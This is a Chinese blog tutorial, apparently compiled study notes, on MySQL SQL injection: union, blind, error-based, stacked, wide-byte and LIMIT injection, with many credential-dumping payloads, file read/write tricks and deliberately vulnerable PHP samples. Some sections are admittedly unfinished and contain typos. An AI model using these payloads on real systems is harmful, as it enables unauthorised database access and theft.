本文最后更新于:2019 , 八月 15日 星期四, 6:14 晚上
利用可控的参数或者入口来加载不可控的参数或者代码,造成恶意不可控的运行结果
最新phpstudy中mysql.ini添加mysql.ini secure_file_priv=""
配置
Mysql
Mysql5.0之后
默认存放一个:information_schema
的数据库
该库中的三个表名:SCHEMATA
,TABLES
,COLUMNS
说明:
SCHEMATA
表存储该用户创建的所有数据库名该表中距离数据库名的字段为:
SCHEMA_NAME
TABLES
表存储该用户创建的所有数据库的库名和表名该表中记录数据库名和表名的字段为:
TABLE_SCHEMA
和TABLE_NAME
COLUMNS
表存储该用户创建的所有数据库的库名,字段名,表名数据库名,表名,字段名:
TABLE_SCHEMA
和TABLE_NAME
和COLUMN_NAME
- 不知任何条件时
select 字段名 from 库名.表名;
- 已知一条条件
select 字段名 from 库名.表名 where 已知字段名='已知条件的值';
- 已知两条条件
select 字段名 from 库名.表名 where 已知1字段名='已知1条件值' and 已知2字段名='已知2条件值';
limit
# 格式
limit m,n
# m:记录开始的位置,0开始,表示第一条记录
# n:n指取n条记录
常用的几个函数
- 注入时收集信息的
database()
version()
user()
@@datadir 读取数据库的绝对路径
@@basedir mysql安装路径
@@version_compile_os 操作系统
Mysql常用内置变量
@@have_openssl 如果mysqld支持客户端/服务器协议的SSL(加密)则为YES
@@version_compile_os 判断系统类型
@@max_allowed_packet 包或任何生成的/中间字符串的最大大小
@@max_user_connections MySQL账户允许的最大同时连接数,0表示没限制
@@skip_networking 如果服务器只允许本地(非TCP/IP)连接,该值为ON
@@table_type 默认表类型(存储引擎)
@@basedir MySQL安装基准目录
@@character_set_database 默认数据库使用的字符集
@@datadir 数据库存储的地方
@@expire_logs_days 二进制日志自动删除的天数,默认是0,表示"没有自动删除"
@@group_concat_max_len 允许group_concat()函数结果的最大长度
@@log_error 错误日志的位置
@@lower_case_file_system 该变量说明是否数据目录所在的文件系统对文件名的大小写敏感.
ON说明对文件名的大小写不敏感,OFF表示敏感
@@lower_case_table_names 如果设置为1,表名用小写保存到硬盘上,并且表名比较时不对大小写敏感.
如果设置为2,按照指定的保存表名,但按照小写来比较
@@plugin_dir 插件目录的路径
@@tmpdir 保存临时文件和临时表的目录
@@tmp_table_size 如果内存内的临时表超过该值,MySQL自动将它转换为硬盘上的MyISAM表
@@sql_mode 当前服务器的sql模式
@@tx_isolation 默认事务隔离级别。默认值为REPEATABLE-READ
@@Connections 连接mysql数据库服务器的次数(不管成功还是失败)
@@max_write_lock_count 最大写锁数量
@@old_passwords 是否启用mysql323加密方式(就是mysql用户密码的hash是16位的)
@@Uptime 服务器已经运行的时间
常规函数
# Concat()
将字符串拼接起来
# group by
根据规则,对数据进行分组,分组的时候,mysql会建立一个临时空表进行分组
# hex()
hex('字符串') 进行16进制编码
# ascii()
ascii('字符串 ') 进行ascii编码
盲注常用函数
# 截取
mid(str,start,length)
str:返回其中一部分的字符串
start:起始位置
length:返回的长度
substr(str,start,length)
str:返回其中一部分的字符串
start:起始位置
length:返回的长度
----------------------------------------
# 编码
ord(str)
返回字符串第一个字符的ASCII值
----------------------------------------
# 返回长度
left(string,length)
str:返回其中一部分的字符串
length:返回的长度
----------------------------------------
if (条件,True,False)
----------------------------------------
报错注入常用函数
# floor()
floor(n):返回一个小于或等于传入参数N的最大整数(相当于截断小说部分)
# rand()
# extractvalue()
extractvalue(xml,xpath)
xml:是str格式,为xml文档对象的名称
xpath:xpath格式的字符串
作用:从目标XML中返回包含所查询值得字符串
# updatexml()
updatexml(xml,xpath,new_value)
xml:是str格式,为xml文档对象的名称
xpath:xpath格式的字符串
new_value:str格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
# exp()
exp(x)计算e的x次方
需要数字的,传入字符串必然宝座
# GeometryCollection()
# polygon()
# multipoint()
# multilinestring()
# linestring()
# multipolygon()
例子:GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
作用:由一个或多个任意类几何对象构成几何对象
由于mysql无法用这样字符串画出图形,所以报错了
注释符
#
--空格
/**/
内联注释
# 内联注释的形式
/*!code */
/*!union*/ /*!select*/ 1,2,3
Union 注入
判断注入
# Tips:注意闭合语句! and 1=1 and 1=2
查看字段数
# 最后一个字段数返回正确页面则为最终字段数 order by 字段数
union select
union select 字段数
利用mysql函数查看相关信息
# Tips:有些网页不会直接爆显示位,网页参数前加-,或后面and 1=2,让其报错 id=-1' union select 1,2,3 %23 id=1' and 1=2 union select 1,2,3 %23
查询表名
# 爆出所有表名 id=1' and 1=2 union select 1,group_concat(TABLE_NAME),3 from information_schema.tables where table_schema=database() %23
查询第一个表名
id=1’ and 1=2 union select 1,TABLE_NAME,3 from information_schema.tables where table_schema=’security’ limit 0,1 %23
查询第二个表名
id=1’ and 1=2 union select 1,TABLE_NAME,3 from information_schema.tables where table_schema=’security’ limit 1,1 %23
* 查询字段名
查询某表的所有字段
id=1’ and 1=2 union select 1,group_concat(COLUMN_NAME),3 from information_schema.columns where table_name=’user’ %23
查询表的所有第一个字段
id=1’ and 1=2 union select 1,COLUMN_NAME,3 from information_schema.columns where table_name=’user’ limit 0,1 %23
* 获取数据
获取该字段下所有数据
id=1%27%20and%201=2 union select 1,group_concat(username,0x3a,password),3 from users %23
查看数据
id=1%27%20and%201=2 union select 1,username,password from users limit 0,1 %23
## 原理
```php
<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from users where `id`=".$id);
while($row = mysqli_fetch_array($result))
{
echo $row['username'] . " " . $row['address'];
echo "<br>";
}
?>
可以看到SQL语句:$result = mysqli_query($con,”select * from users where `id`=”.$id)
直接被代入数据库中进行查询,并有进行过滤!
因此,这里可以直接进行构造语句进行恶意查询
# 正常访问页面
select * from users where `id`=1
# 恶意构造访问
select * from users where `id`=1 union select 1,2,3
高权限下的注入
基于root权限
的注入
文件操作注入
利用函数:
- load_file():读取文件
- Into outfile() 写入函数
- into dumpfile 写入文件
select '写入内容' into dumpfile '文件路径'
注入点的权限是由代码中连接数据库的用户所决定的(连接请求)
与读取的相关因素:
- mysql权限
- 操作系统
- 系统读写的权限
- mysql配置
secure_file_priv参数说明(这个参数在MySQL 5.7.6版本引入) 这个参数用来限制数据导入和导出操作的效果 例如执行LOAD DATA、SELECT ... INTO OUTFILE语句和LOAD_FILE()函数 这些操作需要用户具有FILE权限 如果这个参数为空,这个变量没有效果 如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作 这个目录必须存在,MySQL服务不会创建它; 如果这个参数为NULL,MySQL服务会禁止导入和导出操作
路径的获取:
- 报错显示
- 谷歌黑客
- 读取搭建平台配置文件
- 漏洞报错
- 遗留文件
- 字典猜解
Ps:路径符号及编码,读取或写入文件的时候用
/
,对需要写入的字符进行16进制编码,用编码写入的时候不要单引号
跨库注入
在网站A具有ROOT的权限的下,浏览网站B的数据库
语法:select * from 数据库名.表名
其他的就和常规注入差不多
提交方式注入
- POST 登录框注入
- Cookie 验证注入
直接将ID拼接到select语句进行查询,然后返回结果
直接在cookie处,测试
Ps:将该写的东西写到改写的地方,post处和cookie处进行注入
- HTTP 注入
实际情况下,有部分站点接受数据是以http数据包中的http头部进去数据接受
所以测试注入点的时候,需要将注入语句写入到http头部中$_SERVER
以数据包的形式进行检测和注入(工具)
火狐插件(modify headers)
burp手工进行检测
参数类型注入
- 数字
$id = $_GET['x']; select * from news where id=1
- 字符
$id = $_GET['x']; select * from news where id='admin'
- 搜索型
$id = $_GET['x']; select * from news where id like '%username%'
参数加解密注入
例如:$id = base64_decode($_GET[‘X’]);
ID参数经过base64编码再进行访问
需要手动进行判断
盲注攻击 – Boolean(布尔) 注入
返回结果只有真和假(yes和no)布尔型注入是指构造SQL判断语句
,通过查看页面的返回结果来推测哪些结果是成立的
- 判断数据库名长度
# 第一次判断 id=1'+and+length(database())>5--+ 返回:no
第二次判断
id=1’+and+length(database())>2–+
返回:yes
第三次判断
id=1’+and+length(database())>4–+
返回:no
第四次判断
id=1’+and+length(database())=4–+
返回:yes
* 判断数据库名
判断数据库名的第一个字符是否为t(这是截取字符串进行判断)
id=1’ and substr(database(),1,1)=’t’ –+
为了节省时间,你可以使用burp对t处进行爆破,以便快速获取
ASCII码值判断,以此类推
id=1’ and ord(mid(database(),1,1))>100 –+
* 判断表名
以此类推
id=1’ and substr((select table_name from information_schema.tables where table_schema=’test’ limit 0,1),1,1)=’u’ –+
## 原理
```php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union|sleep|benchmark/i", $id)) {
exit("no");
}
$result = mysqli_query($con,"select * from users where `id`='".$id."'");
$row = mysqli_fetch_array($result);
if ($row) {
exit("yes");
}else{
exit("no");
}
关键preg_match()
:执行匹配正则表达式
通过preg_match匹配$id中是否存在/union|sleep|benchmark/
等危险字符
如果没有则拼接SQL语句
if (preg_match("/union|sleep|benchmark/i", $id)) {
exit("no");
}
盲注攻击 – 报错注入
Xpath语法错误
- updatexml
- extractvalue
updatexml报错注入
最大长度限制32位
查询信息
username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
获取全部数据库名
username=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
获取表名
username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+
获取数据
username=1' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+
原理
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
通过查询@@version,返回版本,然后cancat将其字符串化
因为updatexml第二个参数需要Xpath格式的字符串,所有不符合要求,然后报错ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
extractvalue()注入
extractvalue和updatexml差不多,我这就只略过
# 获取数据
username=1' and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))--+
几何函数注入
- geometrycollection
- multipoint
- polygon
- multipolygon
- linestring
- multilinestring
Tips:
mysql 5.5.47
可以执行,>=5.5.53则不可以
函数对参数要求是(1 2,3 3,2 2 1)这样的几何数据,如果不满足要求,则会报错
username=1' and geometrycollection((select * from (select * from (select version())a)b)) --+
数据溢出
- exp
5.5之前,整形溢出是不会报错的
select 18446744073709551615+1
在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算
即可
select ~0
如果一个查询成功返回,则其返回值,进行逻辑非运算后可得1,这个值是可以进行数学运算的
# Mysql中
select (select * from (select user()x))
同理exp函数也会产生类似的溢出错误
username=1' and exp(~(select * from(select user())x)) --+
利用这一特性,再结合之前说的溢出报错,就可以进行注入了
Tips:5.5.7可以,>=5.5.53不行
select (select(!x-~0)from(select(select user())x)a)
主键重复
- floor
count
、group by
在遇到rand
产生的重复值时报错的思路
- count
包括列,返回表中的记录数,相当于统计表的行数,在统计结果的时候,不会忽略列值为Null的记录
- group by
利用分组信息进行统计
- rand
0和1之间产生一个随机数
- floor
返回 小于等于 该值得最大整数
# 3条以上记录进行查询
select count(*) from users group by floor(rand(0)*2)
Tips:floor(rand(0)*2),报错是有条件的,记录必须3条以上,而且在3条以上必定报错
selec count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x
报错本质:floor(rand(0)2)的重复性,导致group by出错
*group by key的原理:**
循环读取数据的每一行,将结果保存于临时表中
读取每一行的key,如果key存在于临时表中,则不再临时表中更新数据
如果key不再,则插入所在行的数据
rand()函数在查询的时候回执行一次,插入的时候还会执行一次,这就是整个语句报错的关键
floor(rand(0)*2)前六位是 011011 group by x先建立一个空表用于分组,然后进行分组查询
第一次rand()执行,查询的结果是0,因为是空表所以插入这条数据,而插入的时候rand()又执行了一次,所以
floor()报错注入,混乱没理解,待重写
盲注攻击 – 时间盲注
- 判断数据库长度
and+if(length(database())=4,0,sleep(5))
- 获取表名
# 判断表名长度 and+if(length(table_name)=5,0,sleep(5)) from information_schema.tables where table_schema=database() limit 0,1
获取表名
//mid进行获取
and+if(mid(table_name,1,1)=’u’,0,sleep(5)) from information_schema.tables where table_schema=database() limit 0,1
//ord进行获取
and+if(ord(mid(table_name,1,1))=117,0,sleep(5)) from information_schema.tables where table_schema=database() limit 0,1
* 获取列名
判断列名长度
and+if(length(column_name)=5,0,sleep(5)) from information_schema.columns where table_name=’users’ limit 0,1
获取表名
//mid进行获取
and+if(mid(column_name,1,1)=’i’,0,sleep(5)) from information_schema.columns where table_name=’users’ limit 0,1
//ord进行获取
and+if(ord(mid(table_name,1,1))=105,0,sleep(5)) from information_schema.columns where table_name=’users’ limit 0,1
---
# Mysql_insert 三种注入
有的网站会记录用户浏览记录,包括referer,client_ip,user-agent以及一些其他的功能(用户注册,密码修改,信息删除等)
> insert,delete,update,limit
insert Into:插入数据
Insert Into table_name(field1,field2,fieldN) Values (value1,value2,valueN)
update:用于修改或更新Mysql中的数据
修改数据通用语法:update table_name SET field1=new_value1,field2=new_value2 where Clause
delete:删除Mysql中的数据
通用删除语法:DELETE from table_name where Clause
> Ps1:单双引号要根据查询,来决定注入时使用引号的问题
> Ps2:在这些类型的注入中Mysql中的 -,#,不会注释掉查询的其他部分,会被当做普通字符处理
## updatexml()获取数据
在这里,我们通常使用updatexml()和extractdata()函数
payload:`or updatexml(1,concat(0x7e,(version())),0) or ''`
例子
Insert
INSERT INTO users(id,username,password) values (‘10’,’xxx’ or updatexml(1,concat(0x7e,(version())),0) or’’,’123456’);
ERROR 1105 (HY000): XPATH syntax error: ‘~5.5.53’
Delete
delete from users where id=9 or updatexml(1,concat(0x7e,(version())),0) or ‘’;
ERROR 1105 (HY000): XPATH syntax error: ‘~5.5.53’
Update
update users SET username=’123’,password=’Nicky’ or updatexml(1,concat(0x7e,(version())),0) or ‘’ where id=9;
ERROR 1105 (HY000): XPATH syntax error: ‘~5.5.53’
* 获取表名,列名,数据
> payload:`or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or ''`
Insert
获取表
INSERT INTO users (id, username, password) VALUES (12,’Olivia’ or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or ‘’, ‘Nervo’);
ERROR 1105 (HY000): XPATH syntax error: ‘~users’
获取列
INSERT INTO users (id, username, password) VALUES (12,’Olivia’ or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name=’users’ limit 0,1)),0) or ‘’, ‘Nervo’);
ERROR 1105 (HY000): XPATH syntax error: ‘~user_id’
获取数据
INSERT INTO users (id, username, password) VALUES (12,’Olivia’ or updatexml(0,concat(0x7e,(SELECT concat_ws(‘:’,id, username, password) FROM users limit 0,1)),0) or ‘’, ‘Nervo’);
ERROR 1105 (HY000): XPATH syntax error: ‘~1:Dumb:Dumb’
Delete
获取数据
DELETE FROM users WHERE id=1 or updatexml(0,concat(0x7e,(SELECT concat_ws(‘:’,id,username, password) FROM users limit 0,1)),0) or ‘’;
ERROR 1105 (HY000): XPATH syntax error: ‘~1:Dumb:Dumb’
> Ps:可以在insert。update和dalete语句中使用updatexml()函数检索表,列,但是,`如果你在同一个表中,则不能使用update语句转储数据`!
```mysql
UPDATE users SET password='Nicky' or updatexml(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM newdb.users limit 0,1)),0) or'' WHERE id=2 and username='Olivia';
ERROR 1146 (42S02): Table 'newdb.users' doesn't exist
'''
这里不会提供任何数据,因为我们试图使用目标数据库来转储数据
如果注入点在其他表库,我们可以从另一个表中转储数据,而不是从表本身的数据中转储数据
这只适用于Update语句
'''
成功
UPDATE news SET title='Nicky' or Updatexml(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM test.users limit 0,1)),0) or'' WHERE id=1;
ERROR 1105 (HY000): XPATH syntax error: '~1:Dumb:Dumb'
extractvalue()
payload:or extractvalue(1,concat(0x7e,database())) or ''
# 获取数据
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1))) or '', 'Nervo');
ERROR 1105 (HY000): XPATH syntax error: '~1:Dumb:Dumb'
这里和updatexml()的大同小异,就不详细写出来了
相同的规则适用于updatexml()方法中提到的update语句
name_const()
此处还是有点不理解。。。。待重写
此函数是在mysql版本5.0.12中添加的
name_const(name,value)
作用:返回给定的值,当用来产生一个结果集合列时, name_const()促使该列使用给定名称
payload:or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or ''
Ps:在mysql最新版本中,只能从该函数获中获取版本,>=5.0.12的旧版本中,可以进一步提取数据
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo')
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
得到该错误就不用继续了
由于我的环境问题,我这就直接把语句粘贴进来,大家自行测试吧
# 获取表
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECTname_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))a) or '','Nervo');
# 获取数据
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1))a) or '', 'Nervo');
堆叠查询注入
堆叠查询可以执行多语句,多语句之间以分号(;)隔开
通过添加一个新的查询或者终止查询,可以达到修改数据和调用存储过程的目的
局限:并不是每个环境下都可以执行,可能受到API或者数据库引擎不支持的限制或权限不足
这里可以使用的注入方式:盲注,堆叠注入(堆查注入)
# 测试脚本
# 该脚本来自于《Web安全攻防》
try{
$conn = new PDO("mysql:host=localhost;dbname=test","root","root");
$conn -> setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
$stmt = $conn -> query("SELECT * FROM users where `id` ='".$_GET['id']."'");
$result = $stmt -> setFetchMode(PDO::FETCH_ASSOC);
foreach($stmt->fetchAll() as $k=>$v ){
foreach($v as $key => $value){
echo $value;
}
}
$dsn = null;
}
catch(PDOException $e){
echo "error";
}
$conn = null;
Sql执行语句:$stmt = $conn -> query(“SELECT * FROM users where `id` =’”.$_GET[‘id’].”‘“);
# 堆叠语句
id=1';select if(substr(user(),1,1)='r',0,slepp(5)) %23
# update更新数据
id=1';update users SET username=user() where id=1 %23
原数据会被覆盖掉
这里产生的原因:PDO执行SQL语句时,可以执行多语句,不过这样通常不能直接得到结果,PDO只会返回第一条执行的结果
可以使用update更新数据/insert插入再进行访问或者使用盲注获取数据
二次注入
mysql_escape_string,addslashes
过滤和转义一些特殊字符的函数
在对数据都进行一些转义,但是转义后的”"并不会插入到数据库中
此处待实验。。。
原理
系统没有对已经存入数据库的数据做检测
先构造语句,有被转义字符的语句,把恶意语句存入数据库
然后,我们进行二次构造语句
宽字节注入
如果’被转义成
当数据库的编码为GBK时,并且在数据库查询前执行GBK编码设置,就可以使用宽字节注入
宽字节的格式是在地址后先加一个%df'
在GBK编码中,%df%5c是繁体字“蓮”,所以这时,可以造成单引号逃逸!
payload:1%df' %23
如果进行查询数据库的表名之类时,由于单引号被转义,导致SQL语句出错,所以需要利用嵌套查询
查询表名:select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
查看字段:select column_name from information_schema.columns where table_schema=(select database()) and table_name = (select table_name from information_schema.tables wherer table_schema=(select database()) limit 0,1) limit 0,1
第一层是:table_schema,第二和第三层:table_name
limit 第一个:表名,第二个:字段名
如果把数据库编码改成gb2312,是没有注入的
这归结于gb2312编码的取值范围,它的高位范围0xA10xF7,低范围0xA10xFE,而\是0x5c
只有在低范围中含有0x5c的编码,就可以进行宽字符注入
XFF 注入
HTTP请求头中有一个X-Forwarded-for
参数
代表客户端真实的IP,修改则可以伪造客户端IP
在该参数中进行测试即可!
Mysql limit注入
适用于5.x中,在limit语句后面的注入
select field from table where id>0 order by id limit injection_point
上面的语句包含了order by,mysql当中union语句不能在order by的后面
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
Ps:limti 后面可以跟两个函数,PROCEDURE 和 INTO
- INTO除非有些shell的权限,否则无法利用
- procedure analyse()后面可以跟两个函数
是Mysql内置对Mysql字段值进行统计分析后给出建议的字段类型
利用
# 报错
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
# 直接使用sleep不行,需要用BENCHMARK代替
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
参考链接
http://www.ms08067.com/
https://xz.aliyun.com/
http://www.xiaodi8.com/
大部分内容都是摘抄下来的,感谢各位!